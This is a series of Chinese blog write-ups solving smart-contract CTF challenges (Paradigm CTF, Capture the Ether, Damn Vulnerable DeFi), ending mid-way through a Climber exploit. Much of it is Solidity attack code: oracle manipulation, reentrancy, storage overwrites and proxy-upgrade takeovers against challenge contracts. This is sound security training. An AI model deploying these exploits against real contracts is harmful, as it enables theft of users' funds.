<content type="html"><![CDATA[<h2 id="hellow"><a href="#hellow" class="headerlink" title="hellow"></a>hellow</h2><p>签个到而已,就不多说了。</p><h2 id="secure"><a href="#secure" class="headerlink" title="secure"></a>secure</h2><p>这题要求setup合约里有50个WETH即可。</p><p>这很简单,因为我们有5000ETH,只要存50个ETH,再把WETH发给setup合约即可。</p><pre><code>function attack() public payable { setup.WETH().deposit.value(msg.value)(); setup.WETH().transfer(address(setup), setup.WANT());}</code></pre><h2 id="broker"><a href="#broker" class="headerlink" title="broker"></a>broker</h2><p>这题要求,我们让Broker合约的WETH的余额下于5个。</p><p>broker合约是一个贷款合约,质押WETH去贷款AMT。众所周知使用Uniswap的现货价格为预言机是不明智的,因为它容易被操控。</p><pre><code>function attack() public payable { weth.deposit{value: msg.value}(); //使WETH/AWT变大。 weth.transfer(address(pair), weth.balanceOf(address(this))); bytes memory data; pair.swap(450_000 * 1 ether, 0, address(this), data); uint256 rate = broker.rate(); token.approve(address(broker), type(uint256).max); uint256 liqAmount = 21 ether * rate; broker.liquidate(address(setup), liqAmount);}</code></pre><h2 id="BabySandbox"><a href="#BabySandbox" class="headerlink" title="BabySandbox"></a>BabySandbox</h2><pre><code> function isSolved() public view returns (bool) { uint size; assembly { size := extcodesize(sload(sandbox.slot)) } return size == 0; }</code></pre><p>想要达到此条件,我能能想到的只有sandbox合约自毁。(因为合约中有delegatecall)</p><p>调用流程</p><pre><code>Attack.attck() ->babysandbox.run(code) ->babysandbox.staticcall(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() return /因为staticcall里不能改变状态,只能return ->babysandbox.call(address(this)) ->babysandbox.run(code) ->babysandbox.delegatecall(code) ->code.fallback() selfdestruct </code></pre><p>现在的关键是如何判断我们应该处于staticcall中还是call中。</p><p>我想的是用以个计数器来判断,但似乎不行,因为staticcall中不允许修改状态。</p><p>然后我看见一位大佬,用try caught来判断,十分巧妙。</p><p>原理是如果CALL的过程中,遇到了recert(),交易不会全部回滚,而是返回0。如果CALL远程地址成功,返回1。</p><p>这是他的code:</p><pre><code>pragma solidity 0.7.0;contract Receiver { fallback() external { assembly { switch call(gas(), 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512, 0x00, 0x00, 0x00, 0x00, 0x00) // 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 为Dummy合约地址 case 0 { return(0x00, 0x00) } case 1 { selfdestruct(0) } } }}contract Dummy { fallback() external { selfdestruct(address(0)); }}</code></pre><h2 id="Bouncer"><a href="#Bouncer" class="headerlink" title="Bouncer"></a>Bouncer</h2><p>众所周知当我们使用msg.value时一定要避免被循环调用。</p><p>很遗憾,此合约并没有做到。它提供了convertMany()去循环调用convert()。导致我们付一次款能被多次计算。</p><pre><code>function attack() public payable { uint256 bouncerBalance = address(bouncer).balance; uint256 _amount = bouncerBalance + 2 * 1 ether; bouncer.enter{value: 1 ether}(ETH, _amount); bouncer.enter{value: 1 ether}(ETH, _amount); withdrawalAmount = _amount;}function attack2() public payable { uint256[] memory arr = new uint256[](2); for (uint256 i = 0; i < arr.length; i++) { arr[i] = i; } bouncer.convertMany{value: withdrawalAmount}(address(this), arr); bouncer.redeem(ERC20Like(ETH), withdrawalAmount *arr.length);}</code></pre><h2 id="Farmer"><a href="#Farmer" class="headerlink" title="Farmer"></a>Farmer</h2><p>可以看到题目要求我们让farmer在交易后的实际资产少于期待资产,也就是亏钱。</p><p>题中的2个合约想要同过Uniswap的Comp->WETH->DAI流程出售代币来套利。</p><p>现然我们可以在调用recycle()套利前,通过拔高WETH的价格或DAI的价格,来使farmer亏损。</p><pre><code>function attack() external payable { WETH.deposit{value: msg.value}(); WETH.approve(address(ROUTER), type(uint256).max); address[] memory path = new address[](2); path[0] = address(WETH); path[1] = address(DAI); uint256 amount = WETH.balanceOf(address(this)); ROUTER.swapExactTokensForTokens( amount, 0, path, address(this), block.timestamp ); farmer.claim(); farmer.recycle();}</code></pre><h2 id="Yield-Aggregator"><a href="#Yield-Aggregator" class="headerlink" title="Yield Aggregator"></a>Yield Aggregator</h2><p>这题要求我们窃取受害者存入bank中的50WETH。</p><p>我们很容易发现deposit()有很大的漏洞,因为它并未对传入的protocol和tokens审查。我们可以在protocol和tokens中做手脚,所以也有2种解法。</p><p>第一种</p><p>由于未对protocol审查,加上poolTokens未区分每个protocol。导致我们可以在A银行存款,但在B银行取款。</p><pre><code>pragma solidity 0.8.0;import "./setup.sol";contract Attack { WETH9 constant weth = WETH9(0xd8b934580fcE35a11B58C6D73aDeE468a2833fa8); YieldAggregator public aggregator; MiniBank public bankA; MiniBank public bankB; constructor(address _bankA, address _aggregator) payable { bankA = MiniBank(_bankA); bankB = new MiniBank(); aggregator = YieldAggregator(_aggregator); weth.deposit{value: msg.value}(); weth.approve(_aggregator, type(uint256).max); } function attack () public { address[] memory _tokens = new address[](1); _tokens[0] = address(weth); uint256[] memory _amounts = new uint256[](1); _amounts[0] = 50 gwei; aggregator.deposit(Protocol(address(bankB)), _tokens, _amounts); aggregator.withdraw(Protocol(bankA), _tokens, _amounts); }}</code></pre><p>第二种</p><p>由于未审查tokens,因此我们可以传入被我们控制的tokens,然后恶意的构造transferFrom,实施重入。</p><pre><code>pragma solidity ^0.8.0;import "./setup.sol";contract Attack { Setup public setup; YieldAggregator public aggregator; MiniBank public bank; WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); constructor(address _setup, address _aggregator, address _bank) payable { setup = Setup(_setup); aggregator = YieldAggregator(_aggregator); bank = MiniBank(_bank); weth.deposit{value: msg.value}(); weth.approve(address(aggregator), type(uint256).max); weth.approve(address(bank), type(uint256).max); } function attack() public { address[] memory _tokens = new address[](1); _tokens[0] = address(this); uint256[] memory _amounts = new uint256[](1); _amounts[0] = 1; aggregator.deposit(bank, _tokens, _amounts); _tokens[0] = address(weth); _amounts[0] = 100 ether; aggregator.withdraw(bank, _tokens, _amounts); } function transferFrom( address src, address dst, uint256 qty ) external returns (bool) { address[] memory _tokens = new address[](1); _tokens[0] = address(weth); uint256[] memory _amounts = new uint256[](1); _amounts[0] = 50 ether; aggregator.deposit(bank, _tokens, _amounts); } function approve( address dst, uint256 qty ) external returns (bool) { return true; } function balanceUnderlying() public view returns (uint256) { return 0; }}</code></pre><h2 id="Market"><a href="#Market" class="headerlink" title="Market"></a>Market</h2><p>本题要求我们窃取market的eth,market是一个有铸造自定义代币,出售,购买功能的合约。</p><p>CryptoCollectible合约只有实现了transfer的逻辑,状态的改变在EternalStorage合约中进行。</p><p>开始时我发现合约版本较低,所以我尝试寻找与溢出有关的漏洞,但这条路似乎不通。</p><p>最后我将目光放在ternalStorage合约中,它用汇编实现了一个数据结构</p><pre><code>struct TokenInfo { bytes32 displayName; //slot0 address owner; //slot1 address approved;//slot2 address metadata;//slot3}mapping(bytes32 => TokenInfo) tokens;</code></pre><p>在ternalStorage合约中提供了很多的方法让我们去改slot,在这么多方法中,我盯上了</p><pre><code>case 0xa9fde064 { // updateName(bytes32,bytes32) let tokenId := calldataload(0x04) let newName := calldataload(0x24) ensureTokenOwner(tokenId) sstore(tokenId, newName)}</code></pre><p>当我的metadata为owner时我们可以修改approved并且能通过ensureTokenOwner(tokenId)的检测。</p><pre><code>pragma solidity ^0.7.0;import "./setup.sol";contract Attack { CryptoCollectiblesMarket public market; EternalStorage public eternalStorage; constructor(address _market, address _eternalStorage) { market = CryptoCollectiblesMarket(_market); eternalStorage = EternalStorage(eternalStorage); } function attack() public payable { bytes32 tokenId = market.mintCollectibleFor{value: 70 ether}(address(this)); token.approve(tokenId, address(market)); eternalStorage.updateMetadata(tokenId, address(this)); market.sellCollectible(tokenId); //回收Token TakeBack(tokenId); //补齐eth complete(70 ether); market.sellCollectible(tokenId); } function TakeBack(bytes32 tokenId1) public { bytes32 TokenId2 = bytes32(uint256(tokenId1) + 2); eternalStorage.updateName( TokenId2, bytes32(uint256(address(this))) ); token.transferFrom(tokenId, address(market), address(this)); token.approve(tokenId, address(market)); } function Complete(uint256 sentAmount) public { uint256 tokenPrice = (sentAmount * 10000) / (10000 + 1000); uint256 price = tokenPrice - address(market).balance; market.mintCollectible{value: price}(); } receive() external payable {}}</code></pre><h2 id="Bank"><a href="#Bank" class="headerlink" title="Bank"></a>Bank</h2><p>本题要求我们窃取bank中的WETH。</p><p>当我看见这是个低版本合约是,我第一时间想到的是溢出漏洞。然后我的思路是通过 accounts[msg.sender].length–,使其下溢,然后利用setAccountName(uint accountId, string name)直接改自己的余额。</p><p>因为未对审查传入的token我们可以借此进行重入。</p><p>先完成溢出。</p><pre><code>//在第一个ERC20Like(token).balanceOf(msg.sender)中重入deposit(0, address(this), 0) -> withdraw(0, address(this), 0) -> deposit(0, address(this), 0) -> closeLastAccount()</code></pre><p>再修改solt即可。</p><pre><code>pragma solidity 0.4.24;import "./setup.sol";import "./Bank.sol";contract Attacker { Setup public setup; Bank public bank; WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); uint256 reentrancyState = 0; constructor(Setup _setup) { setup = _setup; bank = _setup.bank(); } function attack() external payable { reentrancyState = 1; bank.depositToken(0, address(this), 0); writeToBalanceSlot(); uint256 wethBalance = bank.getAccountBalance(0, address(weth)); bank.withdrawToken(0, weth, 50 ether); } function writeToBalanceSlot() internal { uint256 accountStructSlot = getAccountLocation(0); uint256 wethBalanceSlot = getMapLocation(accountStructSlot + 2, uint256(address(weth))); uint256 accountId = wethBalanceSlot - accountStructSlot; require(accountId % 3 == 0, "mod 3 != 0, use different contract addr"); accountId = (wethBalanceSlot - accountStructSlot) / 3; string memory toWrite = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"; bank.setAccountName(accountId, toWrite); } function getArrayLocation( uint256 slot, uint256 index, uint256 elementSize ) public pure returns (uint256) { return uint256(keccak256(abi.encodePacked(slot))) + (index * elementSize); } function getMapLocation(uint256 slot, uint256 key) public pure returns (uint256) { return uint256(keccak256(abi.encodePacked(key, slot))); } function getAccountLocation(uint256 accountId) public view returns (uint256) { uint256 slot = uint256( keccak256(abi.encodePacked(uint256(address(this)), uint256(2))) ); slot = uint256(keccak256(slot)); slot += accountId * 3; return slot; } function transferFrom(address from, address to, uint256 amount) external returns (bool) { return true; } function transfer(address to, uint256 amount) external returns (bool) { return true; } function balanceOf(address who) public returns (uint256) { if (reentrancyState == 1) { reentrancyState++; bank.withdrawToken(0, this, 0); } else if (reentrancyState == 2) { reentrancyState++; bank.depositToken(0, this, 0); } else if (reentrancyState == 3) { reentrancyState++; bank.closeLastAccount(); } return 0; } function() external payable { }}</code></pre>]]></content>
</entry>
<entry>
<title>capture the ether(下)</title>
<link href="/2023/03/19/capture-the-ether-%E4%B8%8B/"/>
<url>/2023/03/19/capture-the-ether-%E4%B8%8B/</url>
<content type="html"><![CDATA[<h1 id="capture-the-ether-下"><a href="#capture-the-ether-下" class="headerlink" title="capture the ether(下)"></a>capture the ether(下)</h1><h2 id="Fuzzy-identity"><a href="#Fuzzy-identity" class="headerlink" title="Fuzzy identity"></a>Fuzzy identity</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;interface IName { function name() external view returns (bytes32);}contract FuzzyIdentityChallenge { bool public isComplete; function authenticate() public { require(isSmarx(msg.sender)); require(isBadCode(msg.sender)); isComplete = true; } function isSmarx(address addr) internal view returns (bool) { return IName(addr).name() == bytes32("smarx"); } function isBadCode(address _addr) internal pure returns (bool) { bytes20 addr = bytes20(_addr); bytes20 id = hex"000000000000000000000000000000000badc0de"; bytes20 mask = hex"000000000000000000000000000000000fffffff"; for (uint256 i = 0; i < 34; i++) { if (addr & mask == id) { return true; } mask <<= 4; id <<= 4; } return false; }}</code></pre><p>这题主要考creat2;</p><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;import "./text0.sol";contract attack{ function name() public returns (bytes32){ return bytes32("smarx"); } function att(address _Fuzzy) public { FuzzyIdentityChallenge(_Fuzzy).authenticate(); }}contract Creat2Factory{ function getBytecode() public returns (bytes memory){ bytes memory attackCode = hex""; return attackCode; } function JaoBen(bytes memory attackCode,uint i,uint j) public returns(address ,uint){ bytes memory attackCodes = attackCode; bytes20 s1 = hex"000000000000000000000000000000000badc0de"; bytes20 s2 = hex"000000000000000000000000000000000fffffff"; for(i;i<j;i++){ bytes32 hash = keccak256(abi.encodePacked( bytes1(0xff),address(this),i, keccak256(attackCodes) )); for (uint256 k = 0; k < 34; k++) { if (bytes20(uint160(uint(hash)))&s2 == s1) { return (address(uint160(uint(hash))),i); } } } }}</code></pre><h2 id="Token-bank"><a href="#Token-bank" class="headerlink" title="Token bank"></a>Token bank</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;interface ITokenReceiver { function tokenFallback(address from, uint256 value, bytes data) external;}contract SimpleERC223Token { // Track how many tokens are owned by each address. mapping (address => uint256) public balanceOf; string public name = "Simple ERC223 Token"; string public symbol = "SET"; uint8 public decimals = 18; uint256 public totalSupply = 1000000 * (uint256(10) ** decimals); event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC223Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return length > 0; } function transfer(address to, uint256 value) public returns (bool success) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint256 value, bytes data) public returns (bool) { require(balanceOf[msg.sender] >= value); balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); if (isContract(to)) { ITokenReceiver(to).tokenFallback(msg.sender, value, data); } return true; } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; }}contract TokenBankChallenge { SimpleERC223Token public token; mapping(address => uint256) public balanceOf; function TokenBankChallenge(address player) public { token = new SimpleERC223Token(); // Divide up the 1,000,000 tokens, which are all initially assigned to // the token contract's creator (this contract). balanceOf[msg.sender] = 500000 * 10**18; // half for me balanceOf[player] = 500000 * 10**18; // half for you } function isComplete() public view returns (bool) { return token.balanceOf(this) == 0; } function tokenFallback(address from, uint256 value, bytes) public { require(msg.sender == address(token)); require(balanceOf[from] + value >= balanceOf[from]); balanceOf[from] += value; } function withdraw(uint256 amount) public { require(balanceOf[msg.sender] >= amount); require(token.transfer(msg.sender, amount)); balanceOf[msg.sender] -= amount; }}</code></pre><p>withdraw函数有很明显的漏洞,它是先转后减的,我们可以借机重入。</p><pre class=" language-1"><code class="language-1">contract pwn{ SimpleERC223Token public token; TokenBankChallenge public target; uint8 public reentrytimes = 0; bool public startrenentry = false; function pwn(){ token = SimpleERC223Token(); target = TokenBankChallenge(); } function init(){ token.transfer(address(target),500000000000000000000000); } function start(){ target.withdraw(500000000000000000000000); } function tokenFallback(address from, uint256 value, bytes) public{ require(msg.sender == address(token)); if ( startrenentry && reentrytimes < 1){ reentrytimes += 1; target.withdraw(500000000000000000000000); } if (startrenentry == false){ startrenentry = true; } } function() payable{ }}</code></pre>]]></content>
</entry>
<entry>
<title>capture the ether(上)</title>
<link href="/2023/03/19/capture-the-ether-%E4%B8%8A/"/>
<url>/2023/03/19/capture-the-ether-%E4%B8%8A/</url>
<content type="html"><![CDATA[<h1 id="capture-the-ether-上"><a href="#capture-the-ether-上" class="headerlink" title="capture the ether(上)"></a>capture the ether(上)</h1><h2 id="Guess-the-new-number"><a href="#Guess-the-new-number" class="headerlink" title="Guess the new number"></a>Guess the new number</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;contract GuessTheNewNumberChallenge { function GuessTheNewNumberChallenge() public payable { require(msg.value == 0.001 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function guess(uint8 n) public payable { require(msg.value == 0.001 ether); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); if (n == answer) { msg.sender.transfer(0.002 ether); } }}</code></pre><p>很明显的伪随机数。因为合约之间的调用是在同一个区块当中的,也就是说,如果我们通过攻击合约进行调用guess,那么我们攻击合约生成的answer与guess生成的answer是相同的。</p><pre><code>contract attack{ Guess guesst; function attack(address _addr)public{ guesst = Guess(_addr); } function attacks()public payable{ uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)); guesst.guess.value(0.001 ether)(answer); } function()external payable{ }}</code></pre><h2 id="Predict-the-future"><a href="#Predict-the-future" class="headerlink" title="Predict the future"></a>Predict the future</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;contract PredictTheFutureChallenge { address guesser; uint8 guess; uint256 settlementBlockNumber; function PredictTheFutureChallenge() public payable { require(msg.value == 1 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(uint8 n) public payable { require(guesser == 0); require(msg.value == 1 ether); guesser = msg.sender; guess = n; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; guesser = 0; if (guess == answer) { msg.sender.transfer(2 ether); } }}</code></pre><p>又是预测数很明显answer只在0~9之间。爆破即可。</p><pre class=" language-1"><code class="language-1">contract attack{ Predict guess; function attack(address _addr)payable{ guess=Predict(_addr); geuss.lockInGuess.value(1 ether)(5); } function attacks(address _addr)public payable{ uint8 n =5; uint8 answer = uint8(keccak256(block.blockhash(block.number - 1), now)) % 10; if (n==answer){ guess.settle(); }else{ return; } } function()external payable{ }}</code></pre><h2 id="Pridict-the-block-hash"><a href="#Pridict-the-block-hash" class="headerlink" title="Pridict the block hash"></a>Pridict the block hash</h2><pre class=" language-1"><code class="language-1">contract PredictTheBlockHashChallenge { address guesser; bytes32 guess; uint256 settlementBlockNumber; function PredictTheBlockHashChallenge() public payable { require(msg.value == 0.001 ether); } function isComplete() public view returns (bool) { return address(this).balance == 0; } function lockInGuess(bytes32 hash) public payable { require(guesser == 0); require(msg.value == 0.001 ether); guesser = msg.sender; guess = hash; settlementBlockNumber = block.number + 1; } function settle() public { require(msg.sender == guesser); require(block.number > settlementBlockNumber); bytes32 answer = block.blockhash(settlementBlockNumber); guesser = 0; if (guess == answer) { msg.sender.transfer(0.002 ether); } }}</code></pre><p>这个题需要我们提前知道后一个区块的区块哈希。block.blockhash只能得到256个区块内的哈希值,一旦超过256的区块,就会返回0。</p><pre class=" language-1"><code class="language-1">contract attack{ Predict guess; uint256 public blocknumber; bytes32 answer; function attack(address _addr)public{ guess = Predict(_addr); } function lock()public payable{ blocknumber = block.number+1; guess.lockInGuess.value(0.001 ether)(answer); } function attacks()public{ require(block.number-256>blocknumber); guess.settle(); } function ()external payable{ }}</code></pre><h2 id="Token-whale"><a href="#Token-whale" class="headerlink" title="Token whale"></a>Token whale</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;contract TokenWhaleChallenge { address player; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; string public name = "Simple ERC20 Token"; string public symbol = "SET"; uint8 public decimals = 18; function TokenWhaleChallenge(address _player) public { player = _player; totalSupply = 1000; balanceOf[player] = 1000; } function isComplete() public view returns (bool) { return balanceOf[player] >= 1000000; } event Transfer(address indexed from, address indexed to, uint256 value); function _transfer(address to, uint256 value) internal { balanceOf[msg.sender] -= value; balanceOf[to] += value; emit Transfer(msg.sender, to, value); } function transfer(address to, uint256 value) public { require(balanceOf[msg.sender] >= value); require(balanceOf[to] + value >= balanceOf[to]); _transfer(to, value); } event Approval(address indexed owner, address indexed spender, uint256 value); function approve(address spender, uint256 value) public { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); } function transferFrom(address from, address to, uint256 value) public { require(balanceOf[from] >= value); require(balanceOf[to] + value >= balanceOf[to]); require(allowance[from][msg.sender] >= value); allowance[from][msg.sender] -= value; _transfer(to, value); }}</code></pre><p>这题有逻辑漏洞和下溢。transferFrom前面一系列检查都是检查的from,然而转账的时候却是转的msg.sender。且balanceOf[msg.sender] -= value存在下溢。</p><h2 id="Retirement-fund"><a href="#Retirement-fund" class="headerlink" title="Retirement fund"></a>Retirement fund</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;contract RetirementFundChallenge { uint256 startBalance; address owner = msg.sender; address beneficiary; uint256 expiration = now + 10 years; function RetirementFundChallenge(address player) public payable { require(msg.value == 1 ether); beneficiary = player; startBalance = msg.value; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function withdraw() public { require(msg.sender == owner); if (now < expiration) { // early withdrawal incurs a 10% penalty msg.sender.transfer(address(this).balance * 9 / 10); } else { msg.sender.transfer(address(this).balance); } } function collectPenalty() public { require(msg.sender == beneficiary); uint256 withdrawn = startBalance - address(this).balance; // an early withdrawal occurred require(withdrawn > 0); // penalty is what's left msg.sender.transfer(address(this).balance); }}</code></pre><p>想要转走钱withdraw函数显然行不通。那只能是collectPenalty函数。只要让uint256 withdrawn = startBalance - address(this).balance下溢即可。<br>通过自毁合约强行转入1eth即可。</p><pre class=" language-1"><code class="language-1">contract attack{ function attacks(address _addr)public payable{ selfdestruct(_addr); }}</code></pre><h2 id="Mapping"><a href="#Mapping" class="headerlink" title="Mapping"></a>Mapping</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;contract MappingChallenge { bool public isComplete; uint256[] map; function set(uint256 key, uint256 value) public { // Expand dynamic array as needed if (map.length <= key) { map.length = key + 1; } map[key] = value; } function get(uint256 key) public view returns (uint256) { return map[key]; }}</code></pre><p>这题就是考对可变数组的储存的理解。</p><p>slot[0]存iscomplete,slot[1]存储数组的长度,数组的data存储在:keccak256(bytes(1))+x,x就是数组的下标。</p><p>计算数组data起始位:</p><pre class=" language-1"><code class="language-1">contract attack{ uint256 public i; function attacks()public { i =2**256-uint256(keccak256(bytes32(1))); }}</code></pre><p>i就是我们算出来的slot[0]的位置。</p><h2 id="Donation"><a href="#Donation" class="headerlink" title="Donation"></a>Donation</h2><pre class=" language-1"><code class="language-1">pragma solidity ^0.4.21;contract DonationChallenge { struct Donation { uint256 timestamp; uint256 etherAmount; } Donation[] public donations; address public owner; function DonationChallenge() public payable { require(msg.value == 1 ether); owner = msg.sender; } function isComplete() public view returns (bool) { return address(this).balance == 0; } function donate(uint256 etherAmount) public payable { // amount is in ether, but msg.value is in wei uint256 scale = 10**18 * 1 ether; require(msg.value == etherAmount / scale); Donation donation; donation.timestamp = now; donation.etherAmount = etherAmount; donations.push(donation); } function withdraw() public { require(msg.sender == owner); msg.sender.transfer(address(this).balance); }}</code></pre><p>注意到donate函数里面结构体的声明并没有初始化,也没有说明存储在那里,所以默认是在storage上,所以slot[0]是Donation[ ],slot[1]是owner。又因为结构体在函数内非显式地初始化的时候会使用storage存储而不是memory,所以就可以达到变量覆盖的效果。我们用etherAmoun覆盖owner就行了。</p><h2 id="Fifty-years"><a href="#Fifty-years" class="headerlink" title="Fifty years"></a>Fifty years</h2><p>```1<br>pragma solidity ^0.4.21;</p><p>contract FiftyYearsChallenge {<br> struct Contribution {<br> uint256 amount;<br> uint256 unlockTimestamp;<br> }<br> Contribution[] queue;<br> uint256 head;</p><pre><code>address owner;function FiftyYearsChallenge(address player) public payable { require(msg.value == 1 ether); owner = player; queue.push(Contribution(msg.value, now + 50 years));}function isComplete() public view returns (bool) { return address(this).balance == 0;}function upsert(uint256 index, uint256 timestamp) public payable { require(msg.sender == owner); if (index >= head && index < queue.length) { // Update existing contribution amount without updating timestamp. Contribution storage contribution = queue[index]; contribution.amount += msg.value; } else { // Append a new contribution. Require that each contribution unlock // at least 1 day after the previous one. require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days); contribution.amount = msg.value; contribution.unlockTimestamp = timestamp; queue.push(contribution); }}function withdraw(uint256 index) public { require(msg.sender == owner); require(now >= queue[index].unlockTimestamp); // Withdraw this and any earlier contributions. uint256 total = 0; for (uint256 i = head; i <= index; i++) { total += queue[i].amount; // Reclaim storage. delete queue[i]; } // Move the head of the queue forward so we don't have to loop over // already-withdrawn contributions. head = index + 1; msg.sender.transfer(total);}</code></pre><p>}<br>require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days)很明显存在一个溢出的问题,只要数组最后一个元素的unlockTimestamp够大,就会出现溢出。</p><p>在upsert函数,当index小于数组长度时,就会覆盖原来的Contribution。 当index大于等于数组长度时,就会有新的Contribution,amount会覆盖queue的length,unlockTimestamp会覆盖head。</p><p>方法:<br>1:传入index(大于1),timestamp为溢出值。<br>2:传入index(大于2),timestamp为0。<br>3;调用withdraw函数。</p>]]></content>
</entry>
<entry>
<title>Damn-Defi-题解(下)</title>
<link href="/2023/03/09/Damn-Defi-%E9%A2%98%E8%A7%A3%EF%BC%88%E4%B8%8B%EF%BC%89/"/>
<url>/2023/03/09/Damn-Defi-%E9%A2%98%E8%A7%A3%EF%BC%88%E4%B8%8B%EF%BC%89/</url>
<content type="html"><![CDATA[<h1 id="Damn-Defi-题解-下"><a href="#Damn-Defi-题解-下" class="headerlink" title="Damn Defi 题解(下)"></a>Damn Defi 题解(下)</h1><h2 id="Backdoor"><a href="#Backdoor" class="headerlink" title="Backdoor"></a>Backdoor</h2><p>有一个Gnosis Safe的钱包注册表,注册表中有四十个DVT代币,我们要从注册表中取出所有资金。</p><p>写这题需要对GnosisSafeWallet的源码足够了解。</p><p>这题有2个主要函数。</p><p>addBeneficiary(): 添加受益人到注册表的函数,beneficiaries[]就是检测是否为注册表里有的地址。</p><p>proxyCreated(): 注册钱包的函数,注册完成,并且合约会给注册者发送十个dvt代币。</p><p>通过注释我们可以知道创建钱包时会执行函数createProxyWithCallback,再回调proxyCreated。因此我们把目光看向createProxyWithCallback函数</p><p>入参有四个:</p><p>1:address _singleton<br>这是一个单例地址</p><p>2:bytes memory initializer<br>这是初始化器的字节码,初始化函数其实就是GnosisSafe里的setup()函数</p><p>3:uint256 saltNonce<br>这是Create2里的随机数,我们不用关心</p><p>4:IProxyCreationCallback callback<br>这是回调合约的地址</p><p>注意到调用了createProxyWithNonce函数,这个函数内主要其实就是对initializer初始化函数的调用,只不过是用汇编实现的。</p><p>我们看到setup()函数,一眼就看到了setupModules(to, data);这明显是一个外部调用。到这其实思路有了。我们可以借此让钱包approve给我们所有的token,我们只需要把这个token转出来即可。</p><h3 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";contract attack{ GnosisSafeProxyFactory public factory; IProxyCreationCallback public callback; address[] public users; address public singleton; address token; constructor (address _factory,address _callback,address[] memory _users,address _singleton,address _token)public { factory=GnosisSafeProxyFactory(_factory); callback=IProxyCreationCallback(_callback); users=_users; singleton=_singleton; token=_token; } function approve(address _token,address spender)public{ IERC20(_token).approve(spender,10 ether); } function attack()public { bytes memory data=abi.encodeWithSignature("approve(address,address)",token,address(this)); for(uint256 i=0;i<users.length;i++){ address[] memory owners=new address[](1); owners[0]=users[i]; bytes memory initializer=abi.encodeWithSignature("setup(address[],uint256,address,bytes,address,address,uint256,address)", owners, 1, address(this), data, address(0), address(0), 0, address(0) ); GnosisSafeProxy proxy=factory.createProxyWithCallback(singleton,initializer,0,callback); IERC20(token).transferFrom(address(proxy),tx.origin,10 ether); } }}</code></pre><h2 id="Climber"><a href="#Climber" class="headerlink" title="Climber"></a>Climber</h2><p>题目要求取走我们金库合约中所有代币。</p><p>此题用了UUPS代理模式,建议写题前先了解代理\现实合约。</p><p>ClimberVault:<br>很明显要取走所有代币要调用sweepFunds函数,但是有onlySweeper的限制。<br>因此我们可以通过合约升级,直接修改sweepFunds函数。</p><p>ClimberTimelock:</p><p>schedule()函数给要执行的操作给权限。</p><p>execute()为执行提供的操作。</p><p>到此思路已经很明显了。<br>1:授予攻击合约PROPOSER_ROLE<br>2:让delay变为0<br>3:升级climbervalut合约覆盖掉sweepfunds方法<br>4:将代币都发送到attacker的账户中。</p><h3 id="Exploit-1"><a href="#Exploit-1" class="headerlink" title="Exploit"></a>Exploit</h3><pre class=" language-1"><code class="language-1">pragma solidity ^0.8.0;import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";import "./ClimberTimelock.sol";import "@openzeppelin/contracts/token/ERC20/IERC20.sol";import "./ClimberVault.sol";contract attack is UUPSUpgradeable{ ClimberTimelock timelock; address vaultProxyAddress; IERC20 token; address attacker; constructor(ClimberTimelock _timelock,IERC20 _token,address _vaultProxyAddress) { attacker==msg.sender; timelock=_timelock; token=_token; vaultProxyAddress=_vaultProxyAddress; } function creation() internal returns(address[]memory,uint256[]memory,bytes[]memory){ address[] memory target = new address[](5); uint256[] memory value = new uint256[](5); bytes[] memory data = new bytes[](5); target[0] = address(timelock); value[0] = 0; data[0] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0); target[1] = address(timelock); value[1] = 0; data[1] = abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this)); target[2] = address(this); value[2] = 0; data[2] = abi.encodeWithSelector(attack.Apply.selector); target[3] = address(vaultProxyAddress); value[3] = 0; data[3] = 